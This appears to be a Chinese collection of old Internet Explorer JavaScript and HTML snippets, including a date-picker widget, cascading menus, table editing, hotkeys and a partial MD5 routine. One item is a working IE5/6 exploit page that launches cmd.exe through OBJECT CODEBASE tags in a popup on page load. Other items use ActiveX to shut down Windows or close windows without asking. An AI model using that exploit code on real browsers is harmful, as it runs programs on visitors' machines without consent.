用IE重起计算机或者关机
代码如下:
<script language="JavaScript">
var Application=new ActiveXObject('Shell.Application.1');
</script>
<button οnclick=Application.ShutdownWindows();>关机</button><br>
<button οnclick=Application.Suspend();>挂起</button>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
javascript运行客户端exe程序(说明:这只是提供一种思路,不过能不能运行还要看IE的安全设置。)
代码如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
<style type="text/css">
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
</style>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>
var programName=new Array(
'c:/windows/system32/cmd.exe',
'c:/winnt/system32/cmd.exe',
'c:/cmd.exe'
);
function Init(){
var oPopup=window.createPopup();
var oPopBody=oPopup.document.body;
var n,html='';
for(n=0;n<programName.length;n++)
html+="<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+programName[n]+"' %1='r'></OBJECT>";
oPopBody.innerHTML=html;
oPopup.show(290, 190, 200, 200, document.body);
}
</SCRIPT>
</head>
<BODY οnlοad="Init()">
<H1>Hmm, let's start a command shell...</H1>
<p>
This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
Javascript+HTML仿造VB里的MonthView控件
代码如下:
<html>
<head>
<title>MonthView Demo</title>
<script language=javascript>
/*********************************** 程序功能:日期选择
特点 :Javascript+HTML仿造VB里的MonthView控件
作者 :ken
开发日期:2002-8-5
/***********************************/
var languageName="cn" //内容显示的语言 value:"cn" "en"
var currentMonth,currentYear
var nowDate,nowMonth,nowYear
d=new Date();
nowDate=d.getDate()
nowMonth=d.getMonth()
nowYear=d.getYear()
currentMonth=nowMonth
currentYear=nowYear
arrWeekCaption_cn = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")
arrWeekCaption_en = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
arrMonthCaption_cn= new Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
arrMonthCaption_en= new Array("January","February","March","April","May","June","July","August","September","October","November","December")
function MonthView(){}
/******************************* 初始化控件
/*******************************/
function MonthView.initialize(){
output ='<table cellpadding=0 cellspacing=2 style="border: 1 solid black;width:300;cursor:default" id="tblMonthView" onselectstart="return false">'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=0>'
output+=' <tr style="padding-top:10;padding-bottom:10;background:menu;" id="trCaption">'
output+=' <td><input type="button"value="3" style="height:22;font-family:webdings" οnclick="MonthView.showCurrentDate(/'preview/')"></td>'
output+=' <td align="center"><span id="spanCurrentMonth" style="font-size:12;"></span><span style="padding-left:10;font-size:12" id="spanCurrentYear"></span></td>'
output+=' <td align="right"><input type="button"value="4" style="height:22;font-family:webdings" οnclick="MonthView.showCurrentDate(/'next/')"></td>'
output+=' </tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=2 id="tblShowDay" style="font-size:12">'
output+=' <tr align="center"><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
output+=' <tr><td colspan=7 height="1" style="background:black" id="tdLine"></td></tr>'
output+=' <tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+=' <tr>'
output+=' <td>'
output+=' <table width="100%" cellpadding=0 cellspacing=2 id="tblToday" style="font-size:12">'
output+=' <tr><td width="20"></td><td></td></tr>'
output+=' </table>'
output+=' </td>'
output+=' </tr>'
output+='</table>'
document.write (output)
//*********当前年、月的显示*********
MonthView.setCurrentCaption()
//*********************************
//*********星期表头的显示*********
MonthView.setWeekCaption()
//*********************************
//*********设置每月的日期*********
MonthView.bulidDay()
//*****************************
//*********显示隐藏今日日期*********
MonthView.setShowHideToday(true)
//*****************************
}
function MonthView.setCurrentCaption(){
spanCurrentYear.innerHTML=currentYear
if (languageName=="cn"){
spanCurrentMonth.innerHTML=arrMonthCaption_cn[currentMonth]
}else{
spanCurrentMonth.innerHTML=arrMonthCaption_en[currentMonth]
}
}
function MonthView.setWeekCaption(){
if (languageName=="cn"){
arrCaption=arrWeekCaption_cn
}else{
arrCaption=arrWeekCaption_en
}
for (var i=0; i<arrCaption.length; i++){
tblShowDay.rows[0].cells[i].innerHTML=arrCaption[i]
}
}
function MonthView.bulidDay(){
arrMonthCount=new Array(31,28,31,30,31,30,31,31,30,31,30,31)
if ((currentYear % 400 ==0) || ((currentYear % 100==0)&&(currentYear % 4==0))){
arrMonthCount[1]=29
}
rowDay=2
while (tblShowDay.rows.length>rowDay){
tblShowDay.deleteRow(rowDay)
}
firstDay=new Date(currentYear,currentMonth,1)
tempRow=tblShowDay.insertRow()
//*********填充当月1号以前的日期*********
for (var j=0 ;j<firstDay.getDay();j++){
tempCell=tempRow.insertCell()
}
//*************************************
for (var i=1 ;i<=arrMonthCount[currentMonth]; i++){
tempCell=tempRow.insertCell()
tempCell.style.textAlign="center"
tempCell.innerHTML=i
tempCell.οnclick=MonthView.action
if ((i+firstDay.getDay()) %7 == 0 && i!=arrMonthCount[currentMonth]){tempRow=tblShowDay.insertRow()}
}
}
function MonthView.showCurrentDate(direction){
if (direction=="preview"){
currentMonth--
if (currentMonth<0) {currentMonth=11 ;currentYear--}
}
if (direction=="next"){
currentMonth++
if (currentMonth>11) {currentMonth=0 ;currentYear++}
}
MonthView.setCurrentCaption()
MonthView.bulidDay()
}
function MonthView.setLanguage(itsName){
languageName=itsName
MonthView.setCurrentCaption()
MonthView.setWeekCaption()
MonthView.setShowHideToday(true)
}
function MonthView.setCaptionBg(itsColor){
trCaption.style.background=itsColor
}
function MonthView.setBorder(itsBorder){
tblMonthView.style.border=itsBorder
}
function MonthView.setLineColor(itsColor){
tdLine.style.background=itsColor
}
function MonthView.setShowHideToday(flag){
el=tblToday.rows[0].cells[1]
if (flag){
if (languageName=="cn"){
el.innerHTML="今日:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
}else{
el.innerHTML="Today:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
}
el.style.display="block"
}else{
el.style.display="none"
}
}
function MonthView.action(){
//*********请修改此函数*********
MonthView_value=currentYear+"-"+(currentMonth+1)+"-"+this.innerHTML
alert(MonthView_value)
}
</script>
</head>
<body>
<div>
<script language=javascript>
MonthView.initialize()
</script>
</div>
<br><br>
<table border=1 style="font-size:12;width:95%">
<tr>
<td>方法</td><td>描述</td><td>演示</td>
</tr>
<tr>
<td>MonthView.initialize()</td>
<td>初始化控件</td>
<td><image src="none.gif" width="1" height="1"></td>
</tr>
<tr>
<td>MonthView.setLanguage(<i>par</i>)<br>参数:"cn" "en"</td>
<td>设置控件显示语言</td>
<td>
<input type="button" value="中文" οnclick="MonthView.setLanguage('cn')">
<input type="button" value="英文" οnclick="MonthView.setLanguage('en')">
</td>
</tr>
<tr>
<td>MonthView.setBorder(<i>par</i>)<br>参数:"边框宽度(int) 边框形状(solid|dot...) 边框颜色"</td>
<td>边框设置</td>
<td>
<input type="button" value="ChangeBorder" οnclick="MonthView.setBorder('2 solid darkred')">
</td>
</tr>
<tr>
<td>MonthView.setCaptionBg(<i>par</i>)<br>参数:十六进制颜色代码</td>
<td>设置当前年、月的背景色</td>
<td>
<input type="button" value="INFOBACKGROUND" οnclick="MonthView.setCaptionBg('INFOBACKGROUND')">
</td>
</tr>
<tr>
<td>MonthView.setLineColor(<i>par</i>)<br>参数:十六进制颜色代码</td>
<td>设置分割线的颜色</td>
<td>
<input type="button" value="Darkred" οnclick="MonthView.setLineColor('darkred')">
</td>
</tr>
<tr>
<td>MonthView.setShowHideToday(<i>par</i>)<br>参数:true|false</td>
<td>显示/隐藏今日日期</td>
<td>
<input type="button" value="Hide" οnclick="MonthView.setShowHideToday(false)">
<input type="button" value="Show" οnclick="MonthView.setShowHideToday(true)">
</td>
</tr>
</table>
</body>
</html>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
在IE客户端调用windows系统资源 代码如下:
<HTML>
<HEAD>
<TITLE>Start Page</TITLE>
<OBJECT ID="oShell"
CLASSID="clsid:13709620-C279-11CE-A49E-444553540000">
</OBJECT>
<STYLE>
INPUT {width: 200}
</STYLE>
<SCRIPT LANGUAGE="VBScript">
<!--
function fnStart(sMethod)
select case sMethod
case 0
'Minimizes all windows on the desktop
oShell.MinimizeAll
case 1
'Displays the Run dialog box
oShell.FileRun
case 2
'Displays the Shut Down Windows dialog box
oShell.ShutdownWindows
case 3
'Displays the Find dialog box
oShell.FindFiles
case 4
'Displays the Date/Time dialog box
oShell.SetTime
case 5
'Displays the Internet Properties dialog box
oShell.ControlPanelItem "INETCPL.cpl"
case 6
'Explores the My Documents folder
oShell.Explore "C:/My Documents"
case 7
'Enables user to select folder from Program Files
oShell.BrowseForFolder 0, "My Programs", 0, "C:/Program Files"
case 8
'Opens the Favorites folder
oShell.Open "C:/WINDOWS/Favorites"
case 9
'Displays the Taskbar Properties dialog box
oShell.TrayProperties
end select
end function
-->
</SCRIPT>
</HEAD>
<BODY>
<H1>Start...</H1>
<INPUT type="button" value="Edit Taskbar Properties" οnclick="fnStart(9)"><br>
<INPUT type="button" value="Open Favorites Folder" οnclick="fnStart(8)"><br>
<INPUT type="button" value="Browse Program Files" οnclick="fnStart(7)"><br>
<INPUT type="button" value="Explore My Documents" οnclick="fnStart(6)"><br>
<INPUT type="button" value="Modify Internet Properties" οnclick="fnStart(5)"><br>
<INPUT type="button" value="Set System Time" οnclick="fnStart(4)"><br>
<INPUT type="button" value="Find a File or Folder" οnclick="fnStart(3)"><br>
<INPUT type="button" value="Shut Down Windows" οnclick="fnStart(2)"><br>
<INPUT type="button" value="Run" οnclick="fnStart(1)"><br>
<INPUT type="button" value="Minimize All Windows" οnclick="fnStart(0)">
</BODY>
</HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一个三级关联菜单的例子
代码如下:
<FORM name="isc">
<table border="0" cellspacing="0" cellpadding="0">
<tr align="center">
<td nowrap height="11">
<select name="example" size="1" onChange="redirect(this.options.selectedIndex)">
<option selected>---Select1-------------</option>
<option>Webmaster Sites</option>
<option>News Sites</option>
</select>
<select name="stage2" size="1" onChange="redirect1(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select2--------------</option>
<option value=" " selected>---Select2--------------</option>
</select>
<select name="stage3" size="1" onChange="redirect2(this.options.selectedIndex)">
<option value=" " selected> </option>
<option value=" " selected>---Select3----------------</option>
<option value=" " selected>---Select3----------------</option>
</select>
<script>
<!--
/*
Triple Combo Script Credit
By Hamid Cheheltani/ Website Abstraction (http://www.wsabstract.com)
Visit http://wsabstract.com for this and over 400+ other scripts
*/
var groups=document.isc.example.options.length
var group=new Array(groups)
for (i=0; i<groups; i++)
group[i]=new Array()
group[0][0]=new Option("---Select2---"," ");
group[1][0]=new Option("Now Select This One"," ");
group[1][1]=new Option("JavaScript","47");
group[1][2]=new Option("DHTML","46");
group[1][3]=new Option("CGI","45");
group[2][0]=new Option("Now Select This One"," ");
group[2][1]=new Option("General News","115");
group[2][2]=new Option("Technology News","116");
var temp=document.isc.stage2
function redirect(x){
for (m=temp.options.length-1;m>0;m--)
temp.options[m]=null
for (i=0;i<group[x].length;i++){
temp.options[i]=new Option(group[x][i].text,group[x][i].value)
}
temp.options[0].selected=true
redirect1(0)
}
var secondGroups=document.isc.stage2.options.length
var secondGroup=new Array(groups)
for (i=0; i<groups; i++) {
secondGroup[i]=new Array(group[i].length)
for (j=0; j<group[i].length; j++) {
secondGroup[i][j]=new Array() }}
secondGroup[0][0][0]=new Option("---Select 3---"," ");
secondGroup[1][0][0]=new Option("---Select 3---"," ");
secondGroup[1][1][0]=new Option("Now Select This One"," ");
secondGroup[1][1][1]=new Option("Website Abstraction","http://wsabstract.com";);
secondGroup[1][1][2]=new Option("JavaScript for the non programmer","http:///javascript/";);
secondGroup[1][1][3]=new Option("Java-Scripts.net","http://java-scripts.net";);
secondGroup[1][2][0]=new Option("Now Select This One"," ");
secondGroup[1][2][1]=new Option("Dynamic Drive","http://www.dynamicdrive.com";);
secondGroup[1][2][2]=new Option("Beginner/'s Guide to DHTML","http:///ResearchTriangle/Facility/4490/";);
secondGroup[1][2][3]=new Option("Web Coder","http://webcoder.com/";);
secondGroup[1][3][0]=new Option("Now Select This One"," ");
secondGroup[1][3][1]=new Option("CGI Resources","http://www.cgi-resources.com";);
secondGroup[1][3][2]=new Option("Ada/'s Intro to CGI","http://adashimar.hypermart.net/";);
secondGroup[2][0][0]=new Option("---Select 3---"," ");
secondGroup[2][1][0]=new Option("Now Select This One"," ");
secondGroup[2][1][1]=new Option("CNN","http://www.cnn.com";);
secondGroup[2][1][2]=new Option("MSNBC","http://www.msnbc.com";);
secondGroup[2][1][3]=new Option("ABC News","http://www.abcnews.com";);
secondGroup[2][2][0]=new Option("Now Select A Page"," ");
secondGroup[2][2][1]=new Option("News.com","http://www.news.com";);
secondGroup[2][2][2]=new Option("Wired","http://www.wired.com";);
var temp1=document.isc.stage3
function redirect1(y){
for (m=temp1.options.length-1;m>0;m--)
temp1.options[m]=null
for (i=0;i<secondGroup[document.isc.example.options.selectedIndex][y].length;i++){
temp1.options[i]=new Option(secondGroup[document.isc.example.options.selectedIndex][y][i].text,secondGroup[document.isc.example.options.selectedIndex][y][i].value)
}
temp1.options[0].selected=true
}
function redirect2(z){
window.location=temp1[z].value
}
//-->
</script>
</td>
</tr>
</table>
</FORM>
<p><font face="arial" size="-2">This free script provided by</font><br>
<font face="arial, helvetica" size="-2"><a href="http://wsabstract.com";>Website
Abstraction</a></font></p>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
一种在父窗口中得知 window.open()出的子窗口关闭事件的方法(定时器实现) 代码如下:
<HTML><BODY>
<P> </P>
<form name=fm_Info>
<input type=text name=txtValue>
</form>
<script language=javascript>
var timer
var winOpen
function IfWindowClosed() {
if (winOpen.closed == true) { document.fm_Info.txtValue.value="child closed"
window.clearInterval(timer)
}
}
</script>
<input type=button name=btnOpen value=open>
<script language=javascript for=btnOpen event=onclick>
document.fm_Info.txtValue.value=""
winOpen=window.open("child.htm","","toolbar=no, location=no, directories=no, status=no, menubar=no" )
timer=window.setInterval("IfWindowClosed()",500);
</script>
</BODY></HTML>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
MSDN 中 clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 控件
代码如下:
<OBJECT id=hhctrl type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
codebase="file:hhctrl.ocx#Version=4,0,0,24"
width=80
height=20>
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Related Topics">
<PARAM name="Item1"
value="EN_CHANGE;jj.xml">
<PARAM name="Item2"
value="WM_COMMAND;jj.Htm">
</OBJECT>
<OBJECT ID=HHCtrl TYPE="application/x-oleobject"
CLASSID="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
CODEBASE="HHCtrl.ocx#Version=4,73,8259,0">
</OBJECT>
<P>This is a
<A HREF=JavaScript:HHCtrl.TextPopup(MyText,"Verdana,10",9,9,-1,-1)>
pop-up</A>.
</P>
<SCRIPT>MyText="This is how a text pop-up window looks."
</SCRIPT>
[Ctrl+A 全选 提示:你可先修改部分代码,再点运行代码]
用javascirpt在<TEXTAREA>中插入元素(光标位置) 代码如下:
<HTML>
<HEAD>
<SCRIPT>
function storeCaret (textEl) {
if (textEl.createTextRange)
textEl.caretPos = document.selection.createRange().duplicate();
}
function insertAtCaret (textEl, text) {
if (textEl.createTextRange && textEl.caretPos) {
var caretPos = textEl.caretPos;
caretPos.text =caretPos.text.charAt(caretPos.text.length - 1) == ' ' ?text + ' ' : text;
}
else
textEl.value = text;
}
</SCRIPT>
</HEAD>
<BODY>
<FORM NAME="aForm">
<TEXTAREA NAME="aTextArea" ROWS="5" COLS="80" WRAP="soft" ONSELECT="storeCaret(this);" ONCLICK="storeCaret(this);" ONKEYUP="storeCaret(this);"> 这是例子,你可以在这里添加文字、插入文字。 </TEXTAREA>
<BR>
<INPUT TYPE="text" NAME="aText" SIZE="80" VALUE="我要在光标处插入这些文字"><BR>
<INPUT TYPE="button" VALUE="我要在光标处插入上面文本框里输入的文字!" ONCLICK="insertAtCaret(this.form.aTextArea, this.form.aText.value);">
</FORM>
</BODY>
</HTML>
一个关于新窗口自动调节大小的问题
代码如下:
怎样使弹出的新窗口根据网页内容的多少来自动调节自身大小?
使文字刚好充满窗口,不出现滚动条。<body id=xh topmargin=0 leftmargin=0 marginwidth=0 marginheight=0>
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<p>测试<p>测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试测试
<script>
window.resizeTo(xh.scrollWidth+20,xh.scrollHeight+150)
</script>
</body>
javascript动态增加、删除、填充表格内容
代码如下:
<HTML>
<SCRIPT LANGUAGE="JScript">
function numberCells()
{
var count=0;
for (i=0; i < document.all.mytable.rows.length; i++)
{
for (j=0; j < document.all.mytable.rows(i).cells.length; j++)
{
document.all.mytable.rows(i).cells(j).innerText = count;
count++;
}
}
}
function tb_addnew()
{
var ls_t=document.all("mytable")
maxcell=ls_t.rows(0).cells.length;
mynewrow = ls_t.insertRow();
for(i=0;i<maxcell;i++)
{
mynewcell=mynewrow.insertCell();
mynewcell.innerText="a"+i;
}
}
function tb_delete()
{
var ls_t=document.all("mytable");
ls_t.deleteRow() ;
}
</SCRIPT>
<BODY οnlοad="numberCells()">
<TABLE id=mytable border=1>
<TR><TH> </TH><TH> </TH><TH> </TH><TH> </TH></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
<TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR>
</TABLE>
<input type=button value="新增" οnclick="tb_addnew()">
<input type=button value="删除" οnclick="tb_delete()" >
</BODY>
</HTML>
层不能跨框架(包括TEXTAREA)显示的解决办法
代码如下:
这个问题尤其在写菜单的时候经常遇到,即:一个页面内的“层”无论z-index设的多么大,只要遇到框架等便被截了:
(
其实解决办法很简单,在要跨框架的层里加入<iframe>即可解决:
<div style="position:absolute;width:140;height:200;z-index:10"><iframe src="menu.asp" width='100%' height='100%'></iframe></div>
<div style="postion:absolute;top:50;width=500;height:500;z-index:1">
<textarea>aaaaaaaaaaa</textarea>
</div>
object还有其他几种用法
代码如下:
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Minimize">
</object>
最小化窗口
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Maximize">
</object>
最大化窗口
<OBJECT id=closew type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Restore">
</object>
还原窗口
不用询问关闭一个独立的窗口代码
代码如下:
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body>
<input type="button" value="点击我关闭窗口" οnclick="closes.Click();">
</body>
做WEB热键
代码如下:
<html>
<head>
<script language='javascript'>
<!--
function issueCommand(x){
if (document.layers)
{
if (x.which==99||x.which==67)
window.close();
else if (event.keyCode==112||event.keyCode==80)
self.print();
else if (event.keyCode==110||event.keyCode==78)
alert("Sorry, this is the only song in the List");
}
else if (document.all){
if (event.keyCode==99||event.keyCode==67)
window.close();
else if (event.keyCode==112||event.keyCode==80)
self.print();
else if (event.keyCode==110||event.keyCode==78)
alert("Sorry, this is the only song in the List");
}
}
//-->
</script>
</head>
<body>
<script language='javascript'>
<!--
if (document.layers)
document.captureEvents(Event.KEYPRESS);
document.οnkeypress=issueCommand
-->
</script>
<font size=6><u>P</u>ress P</font><p>
<font size=6><u>N</u>ext One</font><p>
<font size=6><u>C</u>lose Window</font><p>
</body>
</html>
按下回车键指向下一个位置的一个函数
function
tofocus(itemname)
//
按回车置下一个位置
2
{
3
var
a
4
a
=
eval(
"
document.vouch.
"
+
itemname)
5
a.focus()
6
}
7
在控件中使用onkeypress
=
"
javascrip:if(window.event.keyCode==13){tofocus('nextformname')}提取下一个控件名
MD5加密的javascript实现例子
/* MD5 Message-Digest Algorithm - JavaScript
2 ' MODIFICATION HISTORY:
3 ' 1.0 16-Feb-2001 - Phil Fresle (sales@frez.co.uk) - Initial Version (VB/ASP code)
4 ' 1.0 21-Feb-2001 - Enrico Mosanghini (erik504@yahoo.com) - JavaScript porting
5 */
6 function MD5(sMessage) {
7 function RotateLeft(lValue, iShiftBits) { return (lValue << iShiftBits) | (lValue >>> ( 32 - iShiftBits)); }
8 function AddUnsigned(lX,lY) {
9 var lX4,lY4,lX8,lY8,lResult;
10 lX8 = (lX & 0x80000000 );
11 lY8 = (lY & 0x80000000 );
12 lX4 = (lX & 0x40000000 );
13 lY4 = (lY & 0x40000000 );
14 lResult = (lX & 0x3FFFFFFF ) + (lY & 0x3FFFFFFF );
15 if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
16 if (lX4 | lY4) {
17 if (lResult & 0x40000000 ) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
18 else return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
19 } else return (lResult ^ lX8 ^ lY8);
20 }
21 function F(x,y,z) { return (x & y) | (( ~ x) & z); }
22 function G(x,y,z) { return (x & z) | (y & ( ~ z)); }
23 function H(x,y,z) { return (x ^ y ^ z); }
24 function I(x,y,z) { return (y ^ (x | ( ~ z))); }
25 function FF(a,b,c,d,x,s,ac) {
26 a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
27 return AddUnsigned(RotateLeft(a, s), b);
28 }
29 function GG(a,b,c,d,x,s,ac) {
30 a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
31 return AddUnsigned(RotateLeft(a, s), b);
32 }
33 function HH(a,b,c,d,x,s,ac) {
34 a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
35 return AddUnsigned(RotateLeft(a, s), b);
36 }
37 function II(a,b,c,d,x,s,ac) {
38 a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
39 return AddUnsigned(RotateLeft(a, s), b);
40 }
41 function ConvertToWordArray(sMessage) {
42 var lWordCount;
43 var lMessageLength = sMessage.length;
44 var lNumberOfWords_temp1 = lMessageLength + 8 ;
45 var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64 )) / 64 ;
46 var lNumberOfWords = (lNumberOfWords_temp2 + 1 ) * 16 ;
47 var lWordArray = Array(lNumberOfWords - 1 );
48 var lBytePosition = 0 ;
49 var lByteCount = 0 ;
50 while ( lByteCount < lMessageLength ) {
51 lWordCount = (lByteCount - (lByteCount % 4 )) / 4 ;
52 lBytePosition = (lByteCount % 4 ) * 8 ;
53 lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt(lByteCount) << lBytePosition));
54 lByteCount ++ ;
55 }
56 lWordCount = (lByteCount - (lByteCount % 4 )) / 4 ;
57 lBytePosition = (lByteCount % 4 ) * 8 ;
58 lWordArray[lWordCount] = lWordArray[lWordCount] | ( 0x80 << lBytePosition);
59 lWordArray[lNumberOfWords - 2 ] = lMessageLength << 3 ;
60 lWordArray[lNumberOfWords - 1 ] = lMessageLength >>> 29 ;
61 return lWordArray;
62 }
63 function WordToHex(lValue) {
64 var WordToHexValue = "" ,WordToHexValue_temp = "" ,lByte,lCount;
65 for (lCount = 0 ;lCount <= 3 ;lCount ++ ) {
66 lByte = (lValue >>> (lCount * 8 )) & 255 ;
67 WordToHexValue_temp = " 0 " + lByte.toString( 16 );
68 WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length - 2 , 2 );
69 }
70 return WordToHexValue;
71 }
72 var x = Array();
73 var k,AA,BB,CC,DD,a,b,c,d
74 var S11 = 7 , S12 = 12 , S13 = 17 , S14 = 22 ;
75 var S21 = 5 , S22 = 9 , S23 = 14 , S24 = 20 ;
76 var S31 = 4 , S32 = 11 , S33 = 16 , S34 = 23 ;
77 var S41 = 6 , S42 = 10 , S43 = 15 , S44 = 21 ;
78 // Steps 1 and 2. Append padding bits and length and convert to words
79 x = ConvertToWordArray(sMessage);
80 // Step 3. Initialise
81 a = 0x67452301 ; b = 0xEFCDAB89 ; c = 0x98BADCFE ; d = 0x10325476 ;
82 // Step 4. Process the message in 16-word blocks
83 for (k = 0 ;k < x.length;k += 16 ) {
84 AA = a; BB = b; CC = c; DD = d;
85 a = FF(a,b,c,d,x[k + 0 ], S11, 0xD76AA478 );
86 d = FF(d,a,b,c,x[k + 1 ], S12, 0xE8C7B756 );
87 c = FF(c,d,a,b,x[k + 2 ], S13, 0x242070DB );
88 b = FF(b,c,d,a,x[k + 3 ], S14, 0xC1BDCEEE );
89 a = FF(a,b,c,d,x[k + 4 ], S11, 0xF57C0FAF );
90 d = FF(d,a,b,c,x[k + 5 ], S12, 0x4787C62A );
91 c = FF(c,d,a,b,x[k + 6 ], S13, 0xA8304613 );
92 b = FF(b,c,d,a,x[k + 7 ], S14, 0xFD469501 );
93 a = FF(a,b,c,d,x[k + 8 ], S11, 0x698098D8 );
94 d = FF(d,a,b,c,x[k + 9 ], S12, 0x8B44F7AF );
95 c = FF(c,d,a,b,x[k + 10 ],S13, 0xFFFF5BB1 );
96 b = FF(b,c,d,a,x[k + 11 ],S14, 0x895CD7BE );
97 a = FF(a,b,c,d,x[k + 12 ],S11, 0x6B901122 );
98 d = FF(d,a,b,c,x[k + 13 ],S12, 0xFD987193 );
99 c = FF(c,d,a,b,x[k + 14 ],S13, 0xA679438E );
100 b = FF(b,c,d,a,x[k + 15 ],S14, 0x49B40821 );
101 a = GG(a,b,c,d,x[k + 1 ], S21, 0xF61E2562 );
102 d = GG(d,a,b,c,x[k + 6 ], S22, 0xC040B340 );
103 c = GG(c,d,a,b,x[k + 11 ],S23, 0x265E5A51 );
104 b = GG(b,c,d,a,x[k + 0 ], S24, 0xE9B6C7AA );
105 a = GG(a,b,c,d,x[k + 5 ], S21, 0xD62F105D );
106 d = GG(d,a,b,c,x[k + 10 ],S22, 0x2441453 );
107 c = GG(c,d,a,b,x[k + 15 ],S23, 0xD8A1E681 );
108 b = GG(b,c,d,a,x[k + 4 ], S24, 0xE7D3FBC8 );
109 a = GG(a,b,c,d,x[k + 9 ], S21, 0x21E1CDE6 );
110 d = GG(d,a,b,c,x[k + 14 ],S22, 0xC33707D6 );
111 c = GG(c,d,a,b,x[k + 3 ], S23, 0xF4D50D87 );
112 b = GG(b,c,d,a,x[k + 8 ], S24, 0x455A14ED );
113 a = GG(a,b,c,d,x[k + 13 ],S21, 0xA9E3E905 );
114 d = GG(d,a,b,c,x[k + 2 ], S22, 0xFCEFA3F8 );
115 c = GG(c,d,a,b,x[k + 7 ], S23, 0x676F02D9 );
116 b = GG(b,c,d,a,x[k + 12 ],S24, 0x8D2A4C8A );
117 a = HH(a,b,c,d,x[k + 5 ], S31, 0xFFFA3942 );
118 d = HH(d,a,b,c,x[k + 8 ], S32, 0x8771F681 );
119 c = HH(c,d,a,b,x[k + 11 ],S33, 0x6D9D6122 );
120 b = HH(b,c,d,a,x[k + 14 ],S34, 0xFDE5380C );
121 a = HH(a,b,c,d,x[k + 1 ], S31, 0xA4BEEA44 );
122 d = HH(d,a,b,c,x[k + 4 ], S32, 0x4BDECFA9 );
123 c = HH(c,d,a,b,x[k + 7 ], S33, 0xF6BB4B60 );
124 b = HH(b,c,d,a,x[k + 10 ],S34, 0xBEBFBC70 );
125 a = HH(a,b,c,d,x[k + 13 ],S31, 0x289B7EC6 );
126 d = HH(d,a,b,c,x[k + 0 ], S32, 0xEAA127FA );
127 c = HH(c,d,a,b,x[k + 3 ], S33, 0xD4EF3085 );
128 b = HH(b,c,d,a,x[k + 6 ], S34, 0x4881D05 );
129 a = HH(a,b,c,d,x[k + 9 ], S31, 0xD9D4D039 );
130 d = HH(d,a,b,c,x[k + 12 ],S32, 0xE6DB99E5 );
131 c = HH(c,d,a,b,x[k + 15 ],S33, 0x1FA27CF8 );
132 b = HH(b,c,d,a,x[k + 2 ], S34, 0xC4AC5665 );
133 a = II(a,b,c,d,x[k + 0 ], S41, 0xF4292244 );
134 d = II(d,a,b,c,x[k + 7 ], S42, 0x432AFF97 );
135 c = II(c,d,a,b,x[k + 14 ],S43, 0xAB9423A7 );
136 b = II(b,c,d,a,x[k + 5 ], S44, 0xFC93A039 );
137 a = II(a,b,c,d,x[k + 12 ],S41, 0x655B59C3 );
138 d = II(d,a,b,c,x[k + 3 ], S42, 0x8F0CCC92 );
139 c = II(c,d,a,b,x[k + 10 ],S43, 0xFFEFF47D );
